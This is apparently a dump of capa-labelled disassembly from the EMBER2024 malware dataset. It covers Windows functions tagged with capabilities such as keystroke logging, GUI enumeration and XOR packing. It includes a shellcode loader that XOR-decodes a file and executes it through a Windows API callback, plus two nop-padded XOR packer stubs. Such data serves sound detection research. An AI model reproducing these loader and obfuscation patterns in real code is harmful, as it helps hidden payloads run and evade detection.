joyce8/EMBER2024-capa huggingface dataset:
Function at 0x476ac0
Capabilities:
Query environment variable

Disassembly:
push ecx
push ebx
push esi
mov esi, ecx
movzx eax, byte [esi + 0x17]
push edi
cmp eax, 3
ja case.default.0x476ad3
jmp dword [eax*4 + 0x476c90]
mov eax, esi
call fcn.00401160
cmp dword [0x4c661c], 0
jne 0x476b9f
cmp dword [esi + 0xc], 0
jne 0x476b9f
mov edi, dword [esp + 0x14]
cmp dword [0x4c9b58], esi
jne 0x476b08
test edi, edi
jne 0x476b65
mov ecx, dword [esi + 0x18]
push 0
lea eax, [esp + 0x10]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x476b61
mov dword [0x4c9b58], 0
test edi, edi
je 0x476b59
mov eax, dword [0x4c65fc]
test eax, eax
je 0x476b4a
mov edx, dword [esi + 0x18]
push edx
push str.An_environment_variable_is_being_accessed__see_NoEnv.
push eax
push 0x4c8640
xor ecx, ecx
call fcn.0042e710
mov ecx, dword [esi + 0x18]
call fcn.00474e40
pop edi
pop esi
pop ebx
pop ecx
ret 4
dec eax
pop edi
pop esi
pop ebx
pop ecx
ret 4
test edi, edi
je 0x476b90
cmp byte [esi + 0x17], 0
jne 0x476b70
mov eax, dword [esi + 0xc]
jmp 0x476b72
mov eax, esi
test byte [eax + 0x15], 4
je 0x476b7f
mov eax, esi
call fcn.0042e840
xor eax, eax
mov word [edi], ax
mov dword [0x4c9b58], eax
pop edi
pop esi
pop ebx
pop ecx
ret 4
mov dword [0x4c9b58], esi
xor eax, eax
pop edi
pop esi
pop ebx
pop ecx
ret 4
mov eax, dword [esi + 0xc]
mov edi, dword [esp + 0x14]
mov ebx, eax
shr ebx, 1
test edi, edi
je 0x476c20
test eax, eax
jne 0x476bd7
movzx eax, byte [esi + 0x17]
neg eax
sbb eax, eax
and eax, esi
test byte [eax + 0x15], 4
je 0x476bc9
mov eax, esi
call fcn.0042e840
xor ecx, ecx
mov word [edi], cx
xor eax, eax
pop edi
pop esi
pop ebx
pop ecx
ret 4
mov ecx, dword [esi + 8]
cmp edi, ecx
je 0x476c20
cmp eax, 0x186a0
jae 0x476c0f
movzx eax, word [ecx]
test ax, ax
je 0x476c01
lea ecx, [ecx]
add ecx, 2
mov word [edi], ax
movzx eax, word [ecx]
add edi, 2
test ax, ax
jne 0x476bf0
xor edx, edx
mov word [edi], dx
mov eax, ebx
pop edi
pop esi
pop ebx
pop ecx
ret 4
push eax
push ecx
push edi
call fcn.00495140
add esp, 0xc
xor eax, eax
mov word [edi + ebx*2], ax
mov eax, ebx
pop edi
pop esi
pop ebx
pop ecx
ret 4
mov ecx, dword [esp + 0x14]
push ecx
mov ecx, dword [esi + 0xc]
call fcn.00476ac0
pop edi
pop esi
pop ebx
pop ecx
ret 4
mov esi, dword [esp + 0x14]
mov ecx, esi
call fcn.00403f90
cmp eax, 0xffffffff
jne 0x476c4f
xor eax, eax
test esi, esi
je 0x476c87
xor edx, edx
mov word [esi + eax*2], dx
pop edi
pop esi
pop ebx
pop ecx
ret 4
mov eax, dword [esp + 0x14]
test eax, eax
je 0x476c6d
xor ecx, ecx
mov word [eax], cx
xor eax, eax
pop edi
pop esi
pop ebx
pop ecx
ret 4
mov edx, dword [esi + 0x18]
mov eax, dword [esp + 0x14]
mov ecx, dword [esi + 0x10]
push edx
push eax
call ecx
add esp, 8
pop edi
pop esi
pop ebx
pop ecx
ret 4
Function at 0x4773c0
Capabilities:
Log keystrokes

Disassembly:
push ebp
push edi
mov edi, eax
movzx eax, word [esi]
cmp eax, 0x41
je 0x4773d1
cmp eax, 0x61
jne 0x47742b
cmp word [esi + 2], 0
jne 0x47742b
mov eax, dword [esp + 0x10]
cmp word [eax], 0
jne 0x47742b
cmp word [ebx], 0
jne 0x47742b
cmp word [edi], 0
jne 0x47742b
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ebp, eax
test ebp, ebp
je 0x47742b
mov ecx, dword [esp + 0xc]
cmp byte [ecx + 0xe6], 0
jne 0x477412
push ebp
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x47742b
push ebp
call dword [sym.imp.USER32.dll_IsIconic]
test eax, eax
je 0x477426
push 9
push ebp
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, ebp
pop edi
pop ebp
ret
mov eax, dword [esp + 0x14]
test al, al
jne 0x47745f
cmp word [esi], 0
jne 0x47745f
mov edx, dword [esp + 0x10]
cmp word [edx], 0
jne 0x47745f
cmp word [ebx], 0
jne 0x47745f
cmp word [edi], 0
jne 0x47745f
mov eax, dword [esp + 0xc]
call fcn.00477c20
test eax, eax
jne 0x477484
pop edi
pop ebp
ret
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
push ecx
push edx
push 0
push eax
mov eax, dword [esp + 0x1c]
push ebx
mov ecx, edi
mov edi, dword [esp + 0x24]
push eax
mov edx, esi
call fcn.00477a20
add esp, 0x18
jmp 0x477458
pop edi
pop ebp
jmp fcn.004774f0
Function at 0x4774f0
Capabilities:
Find taskbar
Log keystrokes

Disassembly:
sub esp, 0x10
push edi
mov edi, eax
test edi, edi
jne 0x4774ff
pop edi
add esp, 0x10
ret
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push ebp
push esi
push 0
push edi
call ebx
mov ebp, eax
mov dword [esp + 0x1c], ebp
cmp ebp, dword [0x4c85cc]
je 0x47752a
mov esi, edi
call fcn.004785b0
test al, al
jne 0x4776c2
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
test esi, esi
jne 0x477544
push eax
push str.Shell_TrayWnd
call dword [sym.imp.USER32.dll_FindWindowW]
mov esi, eax
cmp edi, esi
jne 0x477552
pop esi
pop ebp
pop ebx
mov eax, edi
pop edi
add esp, 0x10
ret
push edi
call dword [sym.imp.USER32.dll_IsIconic]
test eax, eax
je 0x477566
push 9
push edi
call dword [sym.imp.USER32.dll_ShowWindow]
cmp byte [0x4c65da], 0
jne 0x477580
push esi
call fcn.00477490
add esp, 4
test eax, eax
jne 0x4776c4
mov byte [esp + 0x12], 0
mov byte [esp + 0x13], 0
test esi, esi
je 0x4775dd
push 0
push esi
call ebx
mov ebx, eax
mov dword [esp + 0x18], ebx
test ebx, ebx
je 0x4775dd
cmp dword [0x4c85cc], ebx
je 0x4775c4
call fcn.004785b0
test al, al
jne 0x4775c4
mov eax, dword [0x4c85cc]
push 1
push ebx
push eax
call dword [sym.imp.USER32.dll_AttachThreadInput]
test eax, eax
setne byte [esp + 0x12]
test ebp, ebp
je 0x4775dd
cmp ebx, ebp
je 0x4775dd
push 1
push ebp
push ebx
call dword [sym.imp.USER32.dll_AttachThreadInput]
test eax, eax
setne byte [esp + 0x13]
mov ebx, dword [sym.imp.USER32.dll_SetForegroundWindow]
mov dword [esp + 0x14], 0
jmp 0x4775f0
push edi
call ebx
push 1
push 0xa
mov dword [0x4c28b4], 0
call fcn.00401340
add esp, 8
mov dword [0x4c28b4], 1
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ebp, eax
cmp ebp, edi
jne 0x477623
mov ebp, edi
jmp 0x477634
cmp ebp, esi
je 0x477638
push 4
push ebp
call dword [sym.imp.USER32.dll_GetWindow]
cmp edi, eax
jne 0x477638
test ebp, ebp
jne 0x477679
mov eax, dword [esp + 0x14]
inc eax
mov dword [esp + 0x14], eax
cmp eax, 5
jl 0x4775f0
push 0xffc3d44d
push 0
push 0
push 0
push 0x12
push 2
call fcn.0040f3b0
push 0xffc3d44d
push 0
push 0
push 0
push 0x12
push 2
call fcn.0040f3b0
push esi
call fcn.00477490
add esp, 0x34
mov ebp, eax
cmp byte [esp + 0x12], 0
je 0x477694
mov ecx, dword [esp + 0x18]
mov edx, dword [0x4c85cc]
push 0
push ecx
push edx
call dword [sym.imp.USER32.dll_AttachThreadInput]
cmp byte [esp + 0x13], 0
je 0x4776ad
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
push 0
push eax
push ecx
call dword [sym.imp.USER32.dll_AttachThreadInput]
test ebp, ebp
je 0x4776c2
push edi
call dword [sym.imp.USER32.dll_BringWindowToTop]
pop esi
mov eax, ebp
pop ebp
pop ebx
pop edi
add esp, 0x10
ret
xor eax, eax
pop esi
pop ebp
pop ebx
pop edi
add esp, 0x10
ret
Function at 0x4777c0
Capabilities:
Check for time delay via gettickcount

Disassembly:
cmp byte [esp + 8], 0
je 0x4777d0
mov eax, esi
call fcn.00454930
jmp 0x4777dd
push 0
push 0
push 0x10
push esi
call dword [sym.imp.USER32.dll_PostMessageW]
mov eax, dword [esp + 4]
test eax, eax
js 0x477838
je 0x477838
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
call ebp
push 1
push 0x8000012f
mov edi, eax
call fcn.00401340
mov ebx, dword [sym.imp.USER32.dll_IsWindow]
add esp, 8
push esi
call ebx
test eax, eax
je 0x477835
add edi, dword [esp + 0x10]
call ebp
mov ecx, edi
sub ecx, eax
cmp ecx, 5
jle 0x477835
push 1
push 0x8000012f
call fcn.00401340
add esp, 8
push esi
call ebx
test eax, eax
jne 0x477814
pop edi
pop ebp
pop ebx
mov eax, esi
ret
Function at 0x477a20
Capabilities:
Enumerate gui resources

Disassembly:
mov eax, 0x11c68
call fcn.004985b0
mov eax, dword [esp + 0x11c70]
push ebx
push ebp
mov ebp, dword [esp + 0x11c74]
push esi
mov esi, ecx
movzx ecx, word [edx]
xor ebx, ebx
cmp ecx, 0x41
je 0x477a4c
cmp ecx, 0x61
jne 0x477aa1
cmp word [edx + 2], bx
jne 0x477aa1
cmp word [edi], bx
jne 0x477aa1
cmp word [eax], bx
jne 0x477aa1
cmp word [esi], bx
jne 0x477aa1
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
cmp esi, ebx
je 0x477a82
cmp byte [ebp + 0xe6], bl
jne 0x477a82
push esi
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
jne 0x477a82
xor esi, esi
cmp byte [esp + 0x11c84], bl
je 0x477a95
cmp esi, ebx
je 0x477a95
mov dword [ebp + 0xc0], esi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x11c68
ret
cmp cx, bx
jne 0x477ac6
cmp word [edi], bx
jne 0x477ac6
cmp word [eax], bx
jne 0x477ac6
cmp word [esi], bx
jne 0x477ac6
mov eax, ebp
call fcn.00477c20
pop esi
pop ebp
pop ebx
add esp, 0x11c68
ret
push esi
push edi
push edx
push ebp
lea ecx, [esp + 0x20]
mov dword [esp + 0x20], ebx
mov dword [esp + 0x102c], 0x4ab04c
mov byte [esp + 0x1849], bl
mov dword [esp + 0x184c], ebx
mov dword [esp + 0x1850], ebx
mov dword [esp + 0x1854], ebx
mov dword [esp + 0x1858], ebx
mov dword [esp + 0x185c], ebx
mov dword [esp + 0x1860], ebx
mov dword [esp + 0x186c], ebx
mov dword [esp + 0x1870], ebx
call fcn.004786f0
test eax, eax
je 0x477bd7
test byte [esp + 0x10], 2
mov al, byte [esp + 0x11c80]
mov ecx, dword [esp + 0x11c88]
mov edx, dword [esp + 0x11c8c]
mov byte [esp + 0x1839], al
mov dword [esp + 0x1848], ecx
mov dword [esp + 0x184c], edx
je 0x477be3
mov eax, dword [esp + 0x102c]
cmp eax, 0xffff
je 0x477baf
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x477bd7
cmp byte [ebp + 0xe6], bl
jne 0x477ba8
mov eax, dword [esp + 0x102c]
push eax
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
jne 0x477ba8
mov ecx, dword [esp + 0x102c]
push 0xfffffffffffffff0
push ecx
call dword [sym.imp.USER32.dll_GetWindowLongW]
test eax, 0x40000000
je 0x477bd7
mov eax, dword [esp + 0x102c]
cmp dword [esp + 0x1860], eax
je 0x477bc8
lea esi, [esp + 0x10]
mov dword [esp + 0x1860], eax
call fcn.00478b50
push ebx
lea edx, [esp + 0x14]
push edx
call fcn.00478c10
test eax, eax
jne 0x477bf3
xor eax, eax
pop esi
pop ebp
pop ebx
add esp, 0x11c68
ret
lea eax, [esp + 0x10]
push eax
push 0x477c90
call dword [sym.imp.USER32.dll_EnumWindows]
mov eax, dword [esp + 0x1840]
cmp byte [esp + 0x11c84], bl
je 0x477c0d
cmp eax, ebx
je 0x477c0d
mov dword [ebp + 0xc0], eax
pop esi
pop ebp
pop ebx
add esp, 0x11c68
ret
Function at 0x478b50
Capabilities:
Get graphical window text

Disassembly:
push ecx
mov ecx, dword [esi + 0x1850]
test ecx, ecx
je 0x478c0e
mov eax, dword [esi]
test eax, eax
je 0x478c0e
push edi
test al, 1
jne 0x478b7a
mov eax, dword [esi + 0x100c]
cmp word [eax], 0
je 0x478b96
push 0x7fff
lea edi, [esi + 0x1858]
push edi
push ecx
call dword [sym.imp.USER32.dll_GetWindowTextW]
test eax, eax
jne 0x478b96
xor ecx, ecx
mov word [edi], cx
test byte [esi], 4
mov edi, dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
je 0x478bb1
mov eax, dword [esi + 0x1850]
lea edx, [esi + 0x1854]
push edx
push eax
call edi
test byte [esi], 0x20
je 0x478bef
mov edx, dword [esi + 0x1850]
lea ecx, [esp + 4]
push ecx
push edx
call edi
test eax, eax
je 0x478bef
movzx eax, byte [esi + 0x1828]
mov ecx, dword [esp + 4]
push eax
lea eax, [esi + 0x11a58]
call fcn.00450370
add esp, 4
test eax, eax
jne 0x478bef
xor ecx, ecx
mov word [esi + 0x11a58], cx
test byte [esi], 8
pop edi
je 0x478c0e
mov eax, dword [esi + 0x1850]
push 0x101
lea edx, [esi + 0x11856]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClassNameW]
pop ecx
ret

Function at 0x479430
Capabilities:
Enumerate gui resources

Disassembly:
mov eax, 0x11c64
call fcn.004985b0
mov eax, dword [esp + 0x11c68]
mov eax, dword [eax + 8]
push ebx
xor ebx, ebx
cmp eax, ebx
je 0x4794dd
mov dword [esp + 0x1848], eax
lea eax, [esp + 8]
push eax
push 0x479b70
mov dword [esp + 0x10], ebx
mov dword [esp + 0x101c], 0x4ab04c
mov byte [esp + 0x1839], bl
mov dword [esp + 0x183c], ebx
mov dword [esp + 0x1840], ebx
mov dword [esp + 0x1844], ebx
mov dword [esp + 0x1848], ebx
mov dword [esp + 0x184c], ebx
mov dword [esp + 0x185c], ebx
mov dword [esp + 0x1860], ebx
mov byte [esp + 0x1854], cl
mov dword [esp + 0x1858], edx
call dword [sym.imp.USER32.dll_EnumWindows]
cmp dword [esp + 0x1838], ebx
je 0x4794dd
mov ecx, dword [0x4c28ec]
mov eax, dword [ecx + 0x54]
cmp eax, 0xffffffff
jle 0x4794dd
push 1
push eax
call fcn.00401340
add esp, 8
mov eax, 1
pop ebx
add esp, 0x11c64
ret 4
Function at 0x4794f0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x18]
cmp dword [edi + 8], 0
jne 0x47950c
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 8
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
mov eax, dword [0x4c28ec]
push eax
push esi
mov ecx, edi
call fcn.004799b0
cmp byte [edi], 0
mov dword [esp + 0x10], eax
je 0x479543
test eax, eax
jne 0x479547
mov ecx, dword [esp + 0x1c]
push eax
push ecx
push edi
call fcn.00479600
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 8
test eax, eax
jne 0x4795c6
test esi, esi
je 0x4795c6
push 0
push 0
push 0x10
push esi
call dword [sym.imp.USER32.dll_PostMessageW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetTickCount]
call ebp
push 1
push 0x8000012f
mov ebx, eax
call fcn.00401340
mov edi, dword [sym.imp.USER32.dll_IsWindow]
add esp, 8
push esi
call edi
test eax, eax
je 0x4795a5
mov edi, edi
call ebp
lea ecx, [ebx + 0x1f4]
sub ecx, eax
cmp ecx, 5
jle 0x4795a5
push 1
push 0x8000012f
call fcn.00401340
add esp, 8
push esi
call edi
test eax, eax
jne 0x479580
mov edx, dword [0x4c28ec]
mov eax, dword [edx + 0x54]
cmp eax, 0xffffffff
jle 0x4795be
push 1
push eax
call fcn.00401340
add esp, 8
mov eax, dword [esp + 0x10]
mov edi, dword [esp + 0x18]
cmp byte [edi], 0
je 0x4795e0
mov ecx, dword [esp + 0x1c]
push 0
push ecx
push edi
call fcn.00479600
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 8
mov edx, dword [esp + 0x1c]
push edx
mov ecx, edi
call fcn.00479780
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 8
Function at 0x479780
Capabilities:
Enumerate gui resources

Disassembly:
mov eax, 0x11c68
call fcn.004985b0
push ebx
push ebp
push esi
push edi
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 8], ebx
je 0x479900
xor cl, cl
mov eax, edi
call fcn.00479920
test eax, eax
jne 0x4797b5
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x11c68
ret 4
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ebp, eax
mov eax, dword [0x4c28ec]
push eax
push ebp
mov ecx, edi
call fcn.004799b0
test eax, eax
je 0x4797d8
xor eax, eax
mov dword [0x4c85c4], eax
jmp 0x4797dd
mov eax, dword [0x4c85c4]
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1024], 0x4ab04c
mov dword [esp + 0x1844], ebx
mov dword [esp + 0x1848], ebx
mov dword [esp + 0x184c], ebx
mov dword [esp + 0x1864], ebx
mov dword [esp + 0x1868], ebx
cmp byte [esp + 0x11c7c], bl
je 0x479823
mov byte [esp + 0x1841], bl
cmp eax, ebx
je 0x47982b
mov byte [esp + 0x1841], 1
mov ecx, dword [0x4c85c0]
mov edx, dword [edi + 8]
mov esi, dword [sym.imp.USER32.dll_EnumWindows]
mov dword [esp + 0x1854], eax
lea eax, [esp + 0x18]
push eax
push 0x479a80
mov dword [esp + 0x1858], ecx
mov dword [esp + 0x1860], edx
call esi
mov eax, dword [esp + 0x1848]
cmp eax, ebx
je 0x4798d8
lea ecx, [esp + 0x10]
push ecx
push 0x478500
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], ebx
call esi
mov esi, dword [esp + 0x14]
cmp esi, ebx
je 0x479895
mov edx, dword [esp + 0x1848]
call fcn.004790c0
mov dword [esp + 0x1848], esi
mov eax, dword [esp + 0x1848]
call fcn.004774f0
mov edx, dword [esp + 0x1848]
call fcn.004790c0
mov edx, dword [0x4c28ec]
mov eax, dword [edx + 0x54]
cmp eax, 0xffffffff
jle 0x479900
push 1
push eax
call fcn.00401340
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x11c68
ret 4
mov eax, dword [0x4c85c4]
cmp eax, ebx
je 0x479900
cmp eax, 1
setg al
mov dword [0x4c85c4], ebx
cmp al, bl
je 0x479900
mov edx, ebp
call fcn.004790c0
push ebx
mov ecx, edi
call fcn.00479780
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x11c68
ret 4
Function at 0x493456
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4c1d70]
jne 0x493460
repz ret
jmp fcn.00497fdf

Function at 0x496370
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4c1d70]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00490842
and dword [ebp - 0x14], 0
cmp dword [0x4c4c1c], 0
mov dword [ebp - 0x18], eax
jne 0x496423
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4964cb
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x49ffc0
push ebx
call edi
test eax, eax
je 0x4964cb
mov esi, dword [fcn.0048cad0]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4c4c1c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4c4c20], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4c4c24], eax
call edi
push eax
call esi
mov dword [0x4c4c2c], eax
test eax, eax
je 0x496423
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4c4c28], eax
mov eax, dword [0x4c4c28]
mov ecx, dword [ebp - 0x18]
mov esi, dword [fcn.0048cad4]
cmp eax, ecx
je 0x49647c
cmp dword [0x4c4c2c], ecx
je 0x49647c
push eax
call esi
push dword [0x4c4c2c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x49647c
test ebx, ebx
je 0x49647c
call edi
test eax, eax
je 0x496473
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x496473
test byte [ebp - 8], 1
jne 0x49647c
or dword [ebp + 0x10], 0x200000
jmp 0x4964af
mov eax, dword [0x4c4c20]
cmp eax, dword [ebp - 0x18]
je 0x4964af
push eax
call esi
test eax, eax
je 0x4964af
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4964af
mov eax, dword [0x4c4c24]
cmp eax, dword [ebp - 0x18]
je 0x4964af
push eax
call esi
test eax, eax
je 0x4964af
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4c4c1c]
call esi
test eax, eax
je 0x4964cb
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4964cd
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00493456
leave
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..00cfg
nop
mov ebx, 0x408ecc
mov ecx, 0x9450990
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x430024
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x3cc17de4
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219

Function at 0x40452b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x40a700]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040348c
and dword [ebp - 0x14], 0
cmp dword [0x40b924], 0
mov dword [ebp - 0x18], eax
jne 0x4045de
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x404686
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x404686
mov esi, dword [sym.imp.KERNEL32.DLL_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x40b924], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x40b928], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x40b92c], eax
call edi
push eax
call esi
mov dword [0x40b934], eax
test eax, eax
je 0x4045de
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x40b930], eax
mov eax, dword [0x40b930]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.DLL_DecodePointer]
cmp eax, ecx
je 0x404637
cmp dword [0x40b934], ecx
je 0x404637
push eax
call esi
push dword [0x40b934]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x404637
test ebx, ebx
je 0x404637
call edi
test eax, eax
je 0x40462e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40462e
test byte [ebp - 8], 1
jne 0x404637
or dword [ebp + 0x10], 0x200000
jmp 0x40466a
mov eax, dword [0x40b928]
cmp eax, dword [ebp - 0x18]
je 0x40466a
push eax
call esi
test eax, eax
je 0x40466a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40466a
mov eax, dword [0x40b92c]
cmp eax, dword [ebp - 0x18]
je 0x40466a
push eax
call esi
test eax, eax
je 0x40466a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x40b924]
call esi
test eax, eax
je 0x404686
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x404688
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404896
leave
ret

Function at 0x404896
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40a700]
jne 0x4048a0
repz ret
jmp fcn.00405a36
Function at 0x1000b1d0
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x64004
call fcn.100073d0
push esi
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
push 0x1000fd50
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
lea ecx, [ebp - 4]
mov dword [ebp - 4], 0
push ecx
push eax
lea eax, [ebp - 0x64004]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
movdqa xmm1, xmmword [str.iiiiiiiiiiiiiiiiH]
xor eax, eax
lea esp, [esp]
movdqu xmm0, xmmword [ebp + eax - 0x64004]
pxor xmm0, xmm1
movdqu xmmword [ebp + eax - 0x64004], xmm0
add eax, 0x10
cmp eax, 0x64000
jne 0x1000b230
push 0x40
push 0x3000
push eax
push 0
call dword [0x10012e48]
mov esi, eax
lea eax, [ebp - 0x64004]
push 0x64000
push eax
push esi
call fcn.10001020
add esp, 0xc
push esi
push 0
push 0
call dword [sym.imp.CRYPT32.dll_CertEnumSystemStoreLocation]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x430072
nop
mov ebx, 0x408ecc
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x15903ceb
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..rdata
nop
nop
nop
nop
cmp eax, 0
je 0x4300d2
nop
nop
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x75334e03
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219